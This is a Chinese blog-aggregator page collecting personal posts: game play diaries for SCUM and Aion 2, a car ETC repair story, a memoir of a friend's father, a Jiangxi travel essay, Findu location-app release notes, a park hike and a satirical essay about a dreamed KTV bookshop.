❌

普通视图

发现新文章,点击刷新页面。
今天 — 2026年10月11日首页

人渣scum游戏测试

作者 ACEVS
2026年10月11日 18:37

当擦边游戏下载,可能没样子mod加强吧,
这个游戏介绍挺夸张,男性可以调节生殖器大小。还有打了马赛克的视频在b站。
感觉挺夸张,gofile下载速度不错50m/s
安装后,测试,游戏设置的细节蛮多的,健康情况,身体手上部位,头部,胸部,手臂,什么地方受伤就用绷带,感染了还得用抗生素,物品都有重量,衣服提供什么程度的保温,细节蛮多的。

教程我控制一个橘红色衣服的男人,他刚醒来,之前被做过后脑勺植入芯片,然后f健在手术台那个屋子里面找到一些绷带,然后头上还在流血按照提示操作止血。然后走路跳跃攀爬等测试,最后来到一个大屋子里面,按照提示,打磨石头,然后收集树枝,大树枝切成小树枝,做成树枝绳,这个地方卡住了,豆包说需要四五根树枝,手里还有拿着石头刀,然后触发,那个屋子里面的树我都砍完了,就是搓不出来树枝绳。我退掉游戏后,重新来了一遍,按照豆包提示,莫名其妙发现有了树枝绳,加上石斧头,再加一个树枝造出来了石斧。然后出门。这就是咱得出门装。石斧一把。

出来一个洼地,草丛杂生,应该荒废了,然后不远处有人影晃动,走进一些一看,就知道是僵尸,拿着石斧一阵猛砍,这个游戏有人说挺真实,挥动斧子还有攻击间隔,如果掌握了节奏僵尸都没有机会攻击你的感觉,如果错了节奏,僵尸一直揍你,费劲砍了好多次干掉一个僵尸后,看到木箱旁边躺了一个僵尸,身上有把武士刀插在胸前,似乎还在淌血,我拔出这把武士刀,挥了一下感觉挺顺手,上了一个小坡,看到远处一个僵尸发现了我朝我扑来,我只挥了一刀,直接把它打倒。f键把他的衣服脱光了,有的鞋子衣服还能用上,我不小心多按了什么按键,直接把僵尸肢解了,我无语了。

后面我进入一个屋子里面。屋子里面感觉就是军火库,手枪武士刀,弹夹腰带,面具,维生素,整包的绷带还得拆开才能用,弓箭,战术头盔,防弹衣,我全副武装出去,那个武士刀,前面几个杀着挺简单,遇到一个拿手枪的和我衣服一样人,我蹲下去慢慢移动,等着他出现,我打算扑上去一刀结果他,实际效果是啥?我两在障碍物拐角相遇,我蹲着还没站起身来,他一梭子子弹也打没了,我正高兴,没想到,他直接用枪托子对着我战术头盔,啪啪的猛击,而且毫无停下来的感觉,我刀都没挥出去,被他砸的满头流血,最后倒在血泊中。

复活后,我找了个手枪,在屋里面,装填好子弹还不放心,因为看不到准心,我对着墙壁感受了一下大概射击的感觉,整了个防弹背心穿上,想着胜率高一些。推门出去,那人已经过来了,我打了三枪,他毫发无损,然后他开了几枪,我直接归西,估计爆头了。

复活后我就弄了手枪,出去一枪还是2枪干掉了他,教程结束。

我创建了一个游戏,选择了一个女性角色,可以调节胸围大小,选择脸头发,年龄什么的,发现和擦边没啥关系,进了游戏脱了衣服发现也没什么擦边的哇。然后开始发现远处有小屋,进去搜索物资,结果我被两个僵尸封在卫生间不能出去,那僵尸生前可能是特种兵,背了个大背包,好不容易干倒一个,一阵搜索没啥武器,我这个时候身上多处流血,绷带用完了还在流血,我从卫生间出去,想找东西感觉视线都模糊了,一看身体健康度20%左右,还有持续流血,没有绷带止血的话,虽然有自杀选项,但是我还是想搜索看看有没有机会,最后另一个僵尸的出现,直接干掉了我。

重开一把 ,这把落在树林杂草里面,好不容易找到一条公路,顺着公路跑,遇到一个英文牌子,看不懂,跑到后发现是个废弃的医院,门口的垃圾堆里面找到一把手术刀,挥了一下完全看不到刀。估计和小刀威力差不多。那个很多层的楼我都不敢进去,不知道里面僵尸多不多,旁边的一层楼进去转了圈,杀了两个僵尸找到一些绷带包,病号服,没啥用处。由于白天屋子里面赚了2圈,我本人头晕的厉害。我出了医院,跑上公路,去岔路口那个地方,跑在马路上的时候不那么头晕了。

伸手不打笑脸人

作者 ONO
2026年10月11日 13:45

希望对方伸手不打笑脸人的前提是什么?

A、己方笑得足够真诚;

B、己方主动示好,以拉近彼此关系;

C、己方提前得知对方不会打人;

D、对方先得把己方当作人;

——

感谢订阅莫比乌斯,如你有任何疑问、观点交流,请前往创作者频道,或私信联系。

昨天 — 2026年10月10日首页

永恒之塔2再次记录

作者 ACEVS
2026年10月10日 17:09

果冻村,其实是逃亡者村,守护者们得到克拉基的消息在吉凯尔圣所,去那里的通过暗门,暗门钥匙在龙族仓库,变身药水后,到了仓库换班,拿到了钥匙盒勋章,开门,和乌尔古伦,奈蒙一起进去了,转了一圈,终于看到俘虏克拉基,一个王子级别像小丑一样化妆了,本来可能挺帅的人,称呼奈蒙为贝拉斯兰的公主,奈蒙称呼他暴君塔辛,普通形态的塔辛好打,打了一会,这伙计把水晶一样的东西插入自己胸膛,暴走了,长高了变强了。不过还是被我们仨干掉了,乌尔古伦受伤了,奈蒙似乎不咋关心,我跟着奈蒙,奈蒙和我聊天,她的踪迹被发现了,而且时刻被监视者,她告诉我她来自防壁内的万魔城,那里没有龙族,没有说防壁的势力政治局势,但是从刀刃团,獠牙团,诺尔尼尔等各种势力就知道挺复杂。

发夫奈特是盛放大神灵魂的容器,我们现在就是找这个容器,需要离开果冻村了。刀刃族似乎也在找什么,依琳族就是树人族,依琳族他们在玛斯兰森林,到了地方发现那地方一片焦土,不少依琳都挂掉了,诺尔尼尔,就是游戏开始那个红袍组织,都是女性似乎,也没杀的看不见活的了。有一个有点气息的告诉我,依琳可以看见未来,找到尼尼尔老树人,由于刀刃团是守护者,我们也是守护者,老树人不相信我们,为了表达诚意,我们帮他找孙子或者孩子,这个任务也不难,找到两孩子,老树人挺高兴,告诉我们如何唤醒沉睡的奥达尔古树人,精灵艾克的笛子,精灵族受到这次打击,他们都跑到次元或者亚空间,就是缝隙里面躲起来,跑到缝隙里面发现精灵艾可被一个黑洞吸着,他不想去艾特利亚似乎,大喊救命,然后一个石头巨人和你单挑,打败它 ,救出艾可。来到古树人奥达尔那里,艾可的笛子演奏的类似班得瑞的曲子唤醒了奥达尔,奥达尔说了那个人的情况,还活着,但是被追击。

这个时候我22级了,系统提示二次觉醒,我按alt+1 alt+2没有反应,地图上点击也没发现梦的岔路口在哪儿,倒是做了支线任务,獠牙团被刀刃团的俘虏戏弄了,刀刃团救了他们俘虏,还把玛索控给俘虏了,獠牙团团长门力克印堂发黑,不,是半个脸上面都是黑的 ,不知道咋回事,脸黑了一半,从剧情看心肠不错,为了团员自己孤身前往跟踪,不过团员也挺关心 团长的,也偷偷跟踪团长,我从团员那儿得到消息,找到了门里克,解救了正准备被送给龙族的吗索隆.

然后发现没有任务可以做,问豆包,梦的岔路口二次觉醒任务咋回事,豆包说点哪如何如何,直接传送见到了阿萨尔,他整个镜子出来,里面又见到了主神西艾尔的残影,然后和几个梦中士兵什么的打架胜利后,就二次觉醒了,好像多了一个技能没啥质的变化,可能是多了什么敞口,以后发展的好。

然后真正的第一个副本克劳洞穴来了,发现这个洞穴可以组队或者邀请人一起,我第一次弄了个开放的,刚进去,就有人来了,一阵狂刷,后来又来个人,一会儿他们都离开了,我跑到出口发现有个宝箱可以打开,但是打不开提示贡献度不够 。突然意识到估计自己输出太少,又问豆包如何离开洞穴,小地图点击一下按钮就离开了,第二次创建副本,我直接选择不公开,然后一个人进去刷,那个石头人boss刷了2次我直接挂掉,还好能不停地刷,第三次挂了,我问豆包咋办,豆包说了一些,有的技能最好躲的远远的,要跑开,一下子点醒了我,第四把就刷过去了。

时过境迁

作者 obaby
2026年10月10日 14:02

对象开的那辆博越,后车窗贴的膜气泡越来越多,越来越大。侧面的玻璃上贴的膜也出现了一些水波纹,不仔细看还好,盯着细看的时候就变得有些让人难以忍受。

终于在十一之前把车送到了店里,重新贴了玻璃上的膜。贴完之后,感觉视野都变亮了。相比粉皮上贴的玻璃膜,有点太暗了,晚上开车的时候能见度就稍微差了点,私密性是够了,晚上开车就有些累,尤其是光线不好的时候。

贴完膜,车里多了一堆零配件,行车记录仪、etc等等都从玻璃上拆了下来,仍在副驾的座位上。国庆假期结束前自己才去公司的停车场把车换回来,贴完膜前几天不让开窗,车里也有一股除胶剂的味道,放在停车场散一下味道也刚好合适。

行车记录仪好办,从家里拿上3m胶、剪刀,三下五除二就贴回去了。重新安装etc的时候,出bug了。因为设备拆卸过,需要重新激活,去app查看激活方式,提示要激活蓝牙。有找到操作手册,根据自己的型号找到操作方式:连续插拔两次卡片激活蓝牙,设备蓝牙激活后,会亮起一个绿色指示灯。

这操作方式也简单,那就插拔呗。先把设备重新安装到前挡风玻璃上,然后开始插拔:

插进去,拔出来,插进去,设备状态:红灯、绿灯(不是左上角的),屏幕显示:记账卡,从此没反应了……

插进去,……,拔出来,……,插进去,没啥变化,还是红灯 绿灯,然后就没然后了……

插……进……去,拔……出……来,插……进……去,照旧……

插……进……去,……,拔……出……来,……,插……进……去,照旧……

重复上面的步骤,最后来多一步拔出来,依然如故。连蓝色的指示灯什么样都没看到。以为是设备问题,打开手机蓝牙搜了半天也没搜到设备。这尼码就离谱啊,这几乎能用的姿势都换了啊,怎么就不行呢。

此时想着肯定是设备问题了,既然不行了,那就换个新的?直接进入线上办理,发现新设备还要钱199,这尼玛就离谱啊,我以前没有的话买个也就买了,这我都有设备了,还要钱,过分了。直接打高速服务电话,报上车牌等相关信息,对方查了会儿,告知:这个设备是以前建行的网点办的,现在服务点没了。并且这个设备没有蓝牙模块,激活不了。现在也没线下激活的服务网点。不过可以通过小程序申请更换新的带蓝牙的设备。

好吧,这好歹也算是个解决问题的办法,毕竟还省了199,不过更换只是更换设备,卡还是原来的卡可以直接插回去接着用。说实话,当然从建行办的这个破设备就贼拉恶心,不知道是谁用过的设备退回去的,面板上都是划痕,不过当时推广免费办理的,也就不强求那么多了。为了更换设备,有把etc重新贴回去,拍车头照片,etc安装照片,拆下来的设备照片,卡片照片,行驶证照片等一堆乱七八糟的东西提交上去。

卡片也晒得变色了,毕竟也快十年了。

为了让这个卡片不怎么恶心,买了几张hello kitty的卡贴。

一通折腾之后,终于算是给插进去了。看起来最起码没这么恶心了。

终于昨天的时候,新设备到了,又是一通折腾,把新的设备装进去。

上午想着更新下应用宝的findu版本,进入后台发现竟然是未上线状态:

打开消息记录,看着到了这个:

时过境迁,我已经不配。

与老友闲谈的半生过往

作者 全局变量
2026年10月10日 02:53

IMG_E3794_ilogs_cn_.webp

IMG_E3795_ilogs_cn_.webp

就当是一篇匿名记录的日志吧,在这里大家谁也不认识谁。

前几天,我一个多年的老朋友从广东回来了。说是回家,其实他老家的房子早就没人住、没人管,早就荒废了,大概率也是被当成农村空心房处理掉了。他回来,第一站就先来我这里。

我俩聊了特别多,聊他的家庭、他父亲,还有他那些亲戚。我把这些事写成日志,说实话,有点像是泄露了他的心事,不太地道。但转念一想,这里没有我们现实生活里的熟人,也不会给他泄密、造成影响,所以还是简单记下来。给十年二十年后的自己午后阅读

先说说他奶奶。他现在的奶奶是后奶奶,是他爷爷二婚娶的,他亲爸并不是这个奶奶生的。小时候他爸常年在外面打工,他从小跟着爷爷奶奶长大。那时候堂弟堂妹有肉吃,他就只能吃青菜咸菜,受了不少不公平的对待。身上的衣服鞋子一穿就是一年又一年,脏了破了都是自己放学之后洗。所以他一直不喜欢这个后奶奶,也对爷爷奶奶没什么感情。

他说他爷爷性格很懦弱,家里完全是后奶奶说了算,她说什么就是什么。今年夏天,后奶奶去了他打工的城市,住在堂弟堂妹那边。他作为晚辈,特意去精品水果店买了带礼盒的好水果去看她。结果后面他妈打电话跟他说,奶奶到处抱怨,说他买的全是烂水果。

他当时特别生气,说以后再也不会厚着脸皮去讨好、去看望了。这次回老家,他路过老家,也压根没去看爷爷奶奶,算是彻底断了念想,没任何感情了。

再说说他父亲。201X年的时候,他父亲在广东一个城市跳楼走了。这么多年,他一直不信他爸是自杀,他一直觉得是被人害的。但是当年警察没查到任何线索,最后就按自杀结了案。更寒心的是,他父亲办丧事、设灵堂的时候,这个后奶奶从头到尾都没来过。

这些事他记得一清二楚,提起来眼神里全是恨意。现在他在广东打工,每次路过他父亲出事的那个城市、那个地点,都会停下来抽几根烟再走。这件事就是个未解之谜,大概率这辈子都弄不清楚了。

IMG_E3789_ilogs_cn_.webp

IMG_E3791_ilogs_cn_.webp

10月6号下午,他跟我说准备出去上班了。走之前,他想去山里给他父亲扫个墓、看看他爸。

我带着他去买了香、纸钱和鞭炮,全程由他带路,我开车送他去墓地。他常年在外,清明、七月半从来没回来扫过墓和烧福包,好多年没来了,半路差点还走错路。

到了墓地才发现没带除草的工具,坟头长满了杂草。我就在车上翻出我儿子玩沙子的小铁锹,简单胡乱清理出一块地方,然后蹲下来点香、烧纸钱。

可能是因为我在旁边,他没对着他爸说什么心里话,反倒一直在跟我讲他爸、讲他爷爷奶奶的那些往事。他说他爸走的时候,他25不到,那一瞬间心里空落落的,一下子就没了依靠,从那以后所有事都得自己拿主意、自己扛。

烧完纸钱,我们走到下面马路上放鞭炮。点燃鞭炮我走远了,特意留空间让他单独陪陪他爸、跟他爸说说话。几分钟后,他从坟前下来了。我看见他爸坟边长了一棵板栗树,还有一棵不知道是什么的树,结的果子有点像松鼠爱吃的那种,我从板栗树上打了一颗刺果,用鞋底搓出了里面的板栗,递给他,他懂我的意思。

IMG_E3799_ilogs_cn_.webp

祭拜完,我开车把他送到市区的省道边让他搭车。后面回家,我发现家里多了两提牛奶,应该是他趁我不注意,在隔壁店里买了放我家的。

后面我去干活了,晚饭的时候他打视频过来,说已经平安到市区了。我问他干嘛这么客气,还买东西。他说难得回一次家,买给我儿子喝的。

这么多年没怎么见,他大概是觉得麻烦我了,所以变得格外客气,再也不像以前那样随意了。其实我根本不会计较这些,心里还有点感慨。

昨天以前首页

永恒之塔2继续体验

作者 ACEVS
2026年10月9日 16:54

书接上回,到了果冻村,发现奈蒙整的奥德果冻(一种能量食物)似乎出现了问题,不够用,去找负责调查的此时的人,那个人让我去调查几个人,途中还遇到支线任务一起做了,发现这次跑了挺远最远800多米,我打开计时器,发现骑着宠物跑了快2分钟。这速度和世界马拉松记录那个人速度差不多,我的意思是这游戏里面的宠物速度,还不如人类最优秀的跑者,不过也是,有的动物由于皮毛散热等问题,长跑确实不如人类,但是800米2分钟的猛兽,还是慢了,虽然驮了个1.8m以上的女人。

支线任务是收集东西,喝了免疫药水,在毒水池中,不再中毒掉血,收集好了,又有强盗来强这些资源,打败强盗后,容器炸掉了,因为装的太满。

那个动物商团支线任务是扩充背包,跑其他任务的时候,注意屏幕上会有提示,支线任务的提示,有时候按下f按键 就接上任务了。

主线任务调查几个人以后,奈蒙设计了一个计,假装公布了果冻仓库的具体位置,结果有个四字弓箭手小首领雇佣了一大推人去打劫,之前他为奈蒙工作的,把头一波强盗清掉后,四字男弓箭手,可怜兮兮让我们放过他,结果和我一起的另一个四字男被陷阱控制住,四字弓箭男,派了个精英杀手和几个普通杀手,对付我,没想到奈蒙这个时候也出现了,和我一起干掉了精英杀手,弓箭四字男又央求放过他,奈蒙还是放了他。

副本就和逛窑洞差不多(真窑洞假窑洞都没逛过),别理解错了,意思就是洞太小,有的就一间,有的几间,可能是前期吧。

遇到蜘蛛还是螃蟹女王,打不过,才想起来加点,问了豆包怎么加点,一阵子加点,就能打过了。

现在网游自动跑路,ai辅助加点攻略ai也会,玩起来就是看剧情了。

后面还去动物商团的教导它们如何打架,给俺发了个教导员勋章。

在后面是学习龙族语言,打入龙族内部,然后有个佣兵组织双向间谍的感觉,龙族雇佣他们,我们这边他们也有线人,两边卖信息的感觉,佣兵团抓了兵刃组织的面具男,让我们审问,大概知道有些守护者关押在龙族监狱,俺是跑龙套第一,啥任务都没人能做,只能我亲子去做,学会了龙族语言,喝了变形药水,变成了一致恐龙,性别看不出来了。在龙族监狱收集材料情报,继续中。

有些游戏跑800米的速度,豆包整理

一、永恒之塔2坐骑

800米,骑宠物跑2分钟 速度:800m ÷ 120s ≈ 6.67 m/s = 24 km/h

二、马拉松世界纪录(全程42.195km)

2026伦敦马拉松萨维正式世界纪录 1:59:30,配速 2分50秒 / 公里

  • 每公里2分50秒,那800米用时: 2分50秒 × 0.8 = 2分16秒

    重点:这是连续42公里全程维持的平均速度,耐力长跑。 对比Aion2坐骑:坐骑800米只要2分钟,马拉松冠军长距离平均,还不如Aion2坐骑快。

补充:800米专项场地世界纪录(鲁迪沙)是1分40.91秒,这个是中距离爆发跑,不能维持42公里,和马拉松不是一回事。

三、其他网游参考(同800米直线,无加速buff)

  1. 魔兽世界 人物基础跑步(不骑马) 基础速度约6.4m/s,800米≈2分05秒,略慢于Aion2坐骑 上马之后:速度翻倍,800米约1分02秒
  2. SCUM 人物正常慢跑 裸人无加速:大约4.2~4.5 m/s,800米≈3分左右;冲刺跑可以到6m/s+,短时间接近Aion2坐骑,但冲刺有体力消耗,不能一直冲。
  3. GTA5 主角跑步 大约5.4m/s,800米≈2分28秒

汇总对比表(直线800米)

对象 跑完800米 时速
Aion2 骑宠物 2:00 24 km/h
WOW人物裸跑 ~2:05 ~23 km/h
马拉松世界纪录(全程平均) 2:16 21.2 km/h
GTA5主角跑步 ~2:28 ~19.4 km/h
SCUM 普通慢跑 ~3:00 ~15.3 km/h
现实普通人慢跑 4分~6分 8~12 km/h

江西之行

作者 keyle xiao
2026年10月9日 11:22

最近想写的主题有点多,前段时间国庆13天假期,也没有空出时间来写东西。
记性也不好,节后的今天脑海里只剩下一些残念,想到哪儿就写到哪儿吧。

岁岁鸭镇楼

从南昌到景德镇,高铁不过两个多小时,窗外的风景却像换了一重天地。南昌是阔大的,八一大道上车流不息,秋水广场的喷泉在夜色里腾起几十米高的水幕,一切都在提醒你,这是一座正在努力生长的省会城市。而景德镇是慢的,慢得让人几乎要忘了时间。

初以为景德镇只是一个小镇,后来才知原来是地级市。这误解大约源于它的名字。镇,多容易让人联想到青石板路、蜿蜒小巷、窑火映红半边天的古旧模样。事实上景德镇的确有这些,但又不全是。它比想象中丰饶,也比想象中沉默。

在景德镇的日子里,我去了陶阳里,那里有御窑厂遗址,碎瓷片堆叠成山,像是时光的褶皱,每一片都折射出不同的光。陶瓷博物馆里,从五代的白瓷到明清的青花,一路看过去,仿佛听见千年窑火在耳边呼呼地烧。

中国陶瓷博物馆

桃溪川文创街区则像是这座城市的另一副面孔,年轻、鲜亮、带着点文艺的骄傲。

桃溪川文创街区

而陶阳新村夜市,则是烟火气的极致。十块钱三串的瓷珠手链,二十块钱一只的柴烧茶盏,摊主们多半是年轻的手艺人,一边低头画坯,一边慢悠悠地跟你讲这只杯子的烧制温度。

在景德镇,我还买了七个三角洲手办,都是三角洲的收藏品。它们摆在摊子上,一字排开,各有各的姿态。我挑了很久,最后索性七个都带走了。

三角洲手办

老婆与女儿则在另一家陶艺体验店做手工瓷器,在素坯表面绘图。她们画得认真,一笔一划,像是把这一路的欢喜都描进了瓷面。商家说,等烧制好后会邮寄给我们。于是景德镇之行多了一份等待,也多了一份从远方慢慢寄来的念想。
陶瓷胚绘图

但印象最深的,还是当属滕王阁。
滕王阁

去的那天,正值秋天。赣江的水面铺得很开,阳光透过厚重的云层洒下来,有些昏暗,像是给江面蒙了一层灰金色的纱。我站在滕王阁的楼上,看着对面的秋水。水与天确实是一色,浩浩汤汤地连成一片,分不清哪里是江水的尽头,哪里是天空的起点。

赣江

脑海中不自觉地浮出那句“落霞与孤鹜齐飞,秋水共长天一色”。此刻没有落霞,也没有孤鹜,但那种苍茫的、渺远的意境,却实实在在地漫了上来。遥想千年前,两岸应该都是绿树成荫,温度肯定也没有现在热。江风一定很凉,吹动着王勃的衣袂,吹动着那场宴会上所有人的衣袖。

我还拍了一张滕王阁设宴场景还原的蜡像展。蜡像做得不算精细,但格局是清晰的。阎伯屿坐在主位,女婿吴子章在侧,一众文人雅士分列两旁,杯盘狼藉间是暗涌的较量。对面窗户打开,就是赣江。阳光从窗格里漏进来,落在那张空着的案几上。

蜡像

王勃写《滕王阁序》的时候是25岁,正值意气风发的年华。当时正前往交趾探望被贬的父亲,途中路过洪州。
这场宴会对他来说,完全是旅途中的偶遇。
阎伯屿之所以会邀请一位路过的年轻人,核心在于王勃当时已经是声名在外的“天才少年”。他是“初唐四杰”之一,年少成名。
史料记载,阎都督“早闻他的名气”,因此当得知这位知名才子恰好路过时,便向他发出了邀请。甚至有说法是,最初的邀请名单上本没有王勃,是阎伯屿听说他来了,才特意下令将其添上的。

阎伯屿举办这场重阳节笔会,本身有明确的现实目的。
宣扬政绩:他刚刚重修了滕王阁,需要文人雅士赋诗作文来赞颂此事。
捧红女婿:他真正的私心,是借此机会让自己的女婿吴子章一举成名,为此已让女婿提前写好了一篇序文,准备在宴会上假装即兴创作。
邀请王勃这样一位有分量的“路过名士”到场,既能给宴会增光添彩,也能让女婿“力压群贤”的戏码显得更真实、更有说服力。

只是阎伯屿没料到,这位不请自来的年轻人,最终会以一篇《滕王阁序》彻底打乱了他的计划。
当“豫章故郡,洪都新府”在宴会上响起时,吴子章提前写好的序文再也拿不出来了。
阎伯屿的脸色大约从最初的漫不经心,到后来的惊愕,再到最终的长叹:“此真天才,当垂不朽矣。”

站在千年后的滕王阁上,我忍不住想,有权有势的人能在滕王阁设宴,不知当时的百姓过的是什么样的日子。
那些没有留下名字的人,那些在赣江边打渔的人,在城外种田的人,在集市上吆喝的人,他们可曾抬头望见那座高阁上的灯火?可曾听过宴席间飘来的丝竹声?

历史总是把最多的笔墨留给那些站在高处的人。但真正撑起这片土地的,是那些沉默的、不被记载的普通人。
景德镇的窑工们,他们的手上有泥,有釉,有千度的灼痕。他们把一生都揉进瓷土里,却很少有人在器底留下自己的名字。滕王阁的辉煌是王勃赋予的,但赣江两岸的稻米与鱼虾,却是无数无名者日复一日的劳作。

历史记住了王勃,记住了阎伯屿,甚至记住了那个没能出场的吴子章。但记住他们的那页纸,是无数无名者用双手织就的。就像那只小杯,盛过茶,也盛过月光,最后安静地躺在我的书桌上,像一颗沉默的、不肯被命名的心。而老婆与女儿绘制的瓷器,也会在某个平常的日子里,从景德镇寄到我们手中,像一段旅程的回声,轻轻落在生活里。

文末附上行程图,可供参考。

Findu APP 4.0.5 — 好友定位 位置分享

作者 obaby
2026年10月9日 10:46

支持Carplay的『船新』版本:

【当前版本】4.0.5(build 489)— 2026-10-07
说明:应用内导航 · 有约追随与集结点 · CarPlay

- 应用内导航:在好友位置或地图上可选择驾车、步行或骑行。目前仅支持中国境内导航。
- 有约「追随」:进入有约群的追随页后,可实时看到在线成员的位置、朝向与速度(约每 2 秒刷新)。
- 集结点:追随中可搜索地名或在地图上选点,设置全员共用的集结点。
- CarPlay(仅 iPhone):连接车机后可查看好友位置,并在手机或车机上开始导航、查看追随。
- 修复导航显示、安卓导航与消息推送等方面的已知问题。

在拿到苹果开发者,caplay相关的权限之后,除了搞了点不务正业的事情,正事也是得搞起来的。所谓的正事,也就是这次app更新的主要内容,包含群组功能、追随功能,当然最主要的还是导航和carplay的支持。车机效果:

不得不说,ai在某些小众功能的代码实现上容易写一些很弱智的逻辑和代码实现。纠正这些问题也变得比较困难,需要拆分的非常细节,让ai按最小单元模块,甚至单个方法来实现功能和优化。如果对功能原理或者实现逻辑不了解,那么很容易被ai带到沟里去。

好啦,最后依然是相关介绍和下载链接:

Findu —— 一款简单的找人定位与好友连接应用

还在因为去找朋友玩却没有详细地址,或有了地址却对这座城市不熟悉、不知道该怎么汇合?何不试试 Findu。只要双方愿意,不必再在微信、QQ 里反复发位置——关系地图上一目了然。

好友相约同一地点,每个人的距离不同,什么时候出门最合适?地图上能看到彼此的位置与进度。需要汇合时,可在好友位置直接开始驾车、步行或骑行导航(目前仅支持中国境内)。

特别关注:随时了解自己在意的人的动向;一个人外出,也可以让家人知道你在哪里。

我们,只想让生活变得更加简单。
生活本该如此简单。

——————

主要功能

• 关系地图
  在地图上同时看到自己与好友的位置,支持刷新、全览与地址解析,距离与进度一目了然。

• 应用内导航
  在好友位置或地图上选择驾车、步行或骑行即可开始。目前仅支持中国境内导航。

• 有约追随与集结点
  进入有约群的追随页后,可实时看到在线成员的位置、朝向与速度(约每 2 秒刷新)。可搜索地名或在地图上选点,设置全员共用的集结点。

• 位置共享与足迹
  开启共享后按你设定的间隔上报位置;可查看自己与好友的足迹轨迹,回顾行程。追随中的实时位置不会写入历史足迹。

• 实时消息
  文字、语音、图片、视频、位置、名片与文件,和好友保持顺畅沟通。消息推送可在未打开应用时提醒新动态。

• 好友与分组
  搜索添加好友、申请与备注;用分组管理关系,并可按分组控制「谁可以看我的位置」。

• 隐私权限
  总开关、分组可见、单好友授权、陌生人是否可见等细粒度控制,未经你允许,他人无法随意查看你的位置。

——————

更多能力

• 可调节定位策略:支持更高频率的位置更新,让好友更及时地看到你的进度;也可选择更省电的间隔。请在「我的 → 位置设置」中按需调整。
• 后台持续共享:在你授权「始终」定位并开启位置共享的前提下,应用进入后台仍可按设置继续上报;你可随时关闭共享。
• CarPlay(仅 iPhone):连接车机后可查看好友位置,并在手机或车机上开始导航、查看追随。
• 多语言:支持简体中文与 English。

位置共享、好友与地图为免费核心能力;即时消息部分功能可能需一次性开通,详见应用内说明。

——————

温馨提示

Findu 的地图刷新与好友定位会使用 GPS / 定位服务。开启位置共享并在后台保持运行时,相比普通操作会消耗更多电量,可能影响续航。长时间使用定位会加快耗电。

根据你的设置,应用可能在未打开界面时仍获取位置(用于共享给授权好友),这也会加速电量消耗。建议按实际需要选择上报间隔,外出结束及时关闭共享。

位置信息可能存在延迟或不准确,请勿将本应用作为唯一的安全或应急依据。

——————

隐私承诺

位置属于敏感信息。Findu 仅在双方同意与你配置的权限范围内展示位置;你可以随时关闭上报、调整分组与单好友可见范围。我们不会向无权限用户展示你的实时位置,也不会出售你的个人信息。

iOS链接:https://apps.apple.com/cn/app/findu/id1130623587

安卓apk:https://app.zhongxiaojie.cn/app/findu/android/

官网 https://www.findu.co

 

竹子庵

作者 obaby
2026年10月9日 09:58

十一假期虽然没有远行,就近还是稍微转悠了一圈,多近呢?大约十来公里的路程吧。

没到假期的时候,宝子就开始各种打卡任务:跳绳、仰卧起坐、英语、特色活动等等。当然,带着宝子到处溜达并不是为了完成作业,纯粹就是觉得宝子应该在外面多待会儿,接收阳光多运动,仅此而已。

竹子庵这个公园,听到过很多次了,但是却一直并未涉足,公园距离世博园不远,多数的时间都是去世博园转转。去世博园的主要原因是里面有各种游乐设施,对于孩子来说,这些东西比一个纯粹的公园更有吸引力。

早上吃过早饭,驱车到公园的时候公园停车场已经满了,门口有几辆车在排队。看右侧有个停车场,牌子上写着『停车费封顶十元』,看到这个还以为是按小时收费的,直到离开的时候才发现进去就是10块,说封顶倒是也没错。

从车上拿了个自拍杆,遥控器却死活没有反应,想来是电池没电了。又从公园门口跑回去把自拍杆放回了车上。

沿着上山的路一路前行,这次选的是左侧的道路,选这个道路主要原因是看有个箭头上面写着『三清洞』。

爬到了第一个山顶也没有看到三清洞的影子。

直到从一个山头下来,进入另外一个山头,才找到那个所谓的三清洞。

宝子说后面那个牌子说80米,肯定是落下一个0,这都走了老远了。

虽然看起来高度不高,但是这个高度,掉下去肯定也得青一块紫一块的。

竹子庵,美中不足的是缺少点灵气,没有水,如果有条潺潺小溪,那么真的就山清水秀了。

竹子庵公园,转了半天,全没有转到竹子庵的正门,应该是在另外一侧了。山的高度却比小区东面的象耳山高了不少,海拔到了350米,沿海的山头,海拔不高,但是爬升高度也有260多米,山势起伏也比较明显,爬起来多少还是需要比较好的体力的。

至于象耳山,那个高度爬起来就so easy啦,毕竟自己穿高跟鞋也能轻松拿捏。

商K里的书店在卖什么书?

作者 ONO
2026年10月9日 09:50

商K里有没有书店我并不知道,但我却知道它在卖什么书。

其实今天的文章来自于昨晚的梦,梦见在一家商K里,前台附近逛到了一家开在商K内的书店,我清晰地记得在书架上陈列的书,甚至还在那一刻告诉自己“这是一个不错的灵感”,结果醒来发现是一场梦。

书架上的书并不多,只有几种:

生日密码、国学、周易、商战、中美关系、硬笔书法字帖——除了最后一个,我实在想不通为什么会有人带着孩子来商K,难道是怕他们无聊,就给他们买一本书法字帖,让他们坐在旁边慢慢玩。

事实上,我并不是知道商K里的书店会卖什么;甚至是商K里就不可能有书店这种东西。


这个书店的由来,最直接的原因是“刻板偏见”。大概觉得能去商K的,都是一群大腹便便、油腻爹味的中年大叔,而他们坐在一起要聊的话题,除了怀里抱着的女人,大概就是国学、周易、商战、中美关系了。

但谁真的会去商K买本书看呢?大概是那些坐在他们怀里的小姐,买本生日密码,哄哄彼此开心,用此作为了解彼此但又不足以太过了解彼此的契机——

“哇,哥哥是个天蝎座啊,那我今晚不陪你喝着一杯,你会不会记仇,下次不点我啦~”

书店里真要卖点“周边”,还不如卖在六面写着各种亲亲抱抱行为的情趣骰子。比起看书,这些马上能得到答案的东西,似乎更合理。


不过,梦里这个书店里卖的书,品类少得可怜,才是我觉得最值得继续讨论下去的部分——首先不会有人来买书,而书就在这里,要卖的可能是某种规则,例如:

生日密码,是卖情绪价值而非性需求;国学,是买愿意听自己当爹的“女儿”;周易,是买愿意听自己吹牛的同龄人;商战,是买同性服务;中美关系,是买外国小姐姐——至于硬笔书法字帖,我还是编不出来它存在的理由,总不可能是买个妈妈桑谈谈育儿经验吧。

买什么书,“销售”就知道应该给客人不动声色地搭配什么消遣服务,不至于一排小姐姐都走进了包房,那个隐瞒性向的男人,还得伪装直男,跟其他人一样,要假装点一个自己满意的小姐。

(这种事儿我不是没看到过。)

与其说是卖书,倒不如说是在商K买到了一张通行券,至少不会因为彼此信息不对等而搞得尴尬。

说到这里,突然有一种越说越真的感觉——就好像商K真有这么一间书店。


除此之外,书店里最应该卖的书,也可以不是身份标签,也可以是“遮羞布”——让一个人在等待朋友、等待小姐、等待包间的时候,有一个“我在这里其实是来消费文化的”的遮羞布。

而书的分类,可以更暧昧,不是关于门类,而是关于“它好像今晚可以被用上”。

这样的话,就得改变一下进书的策略,比如:

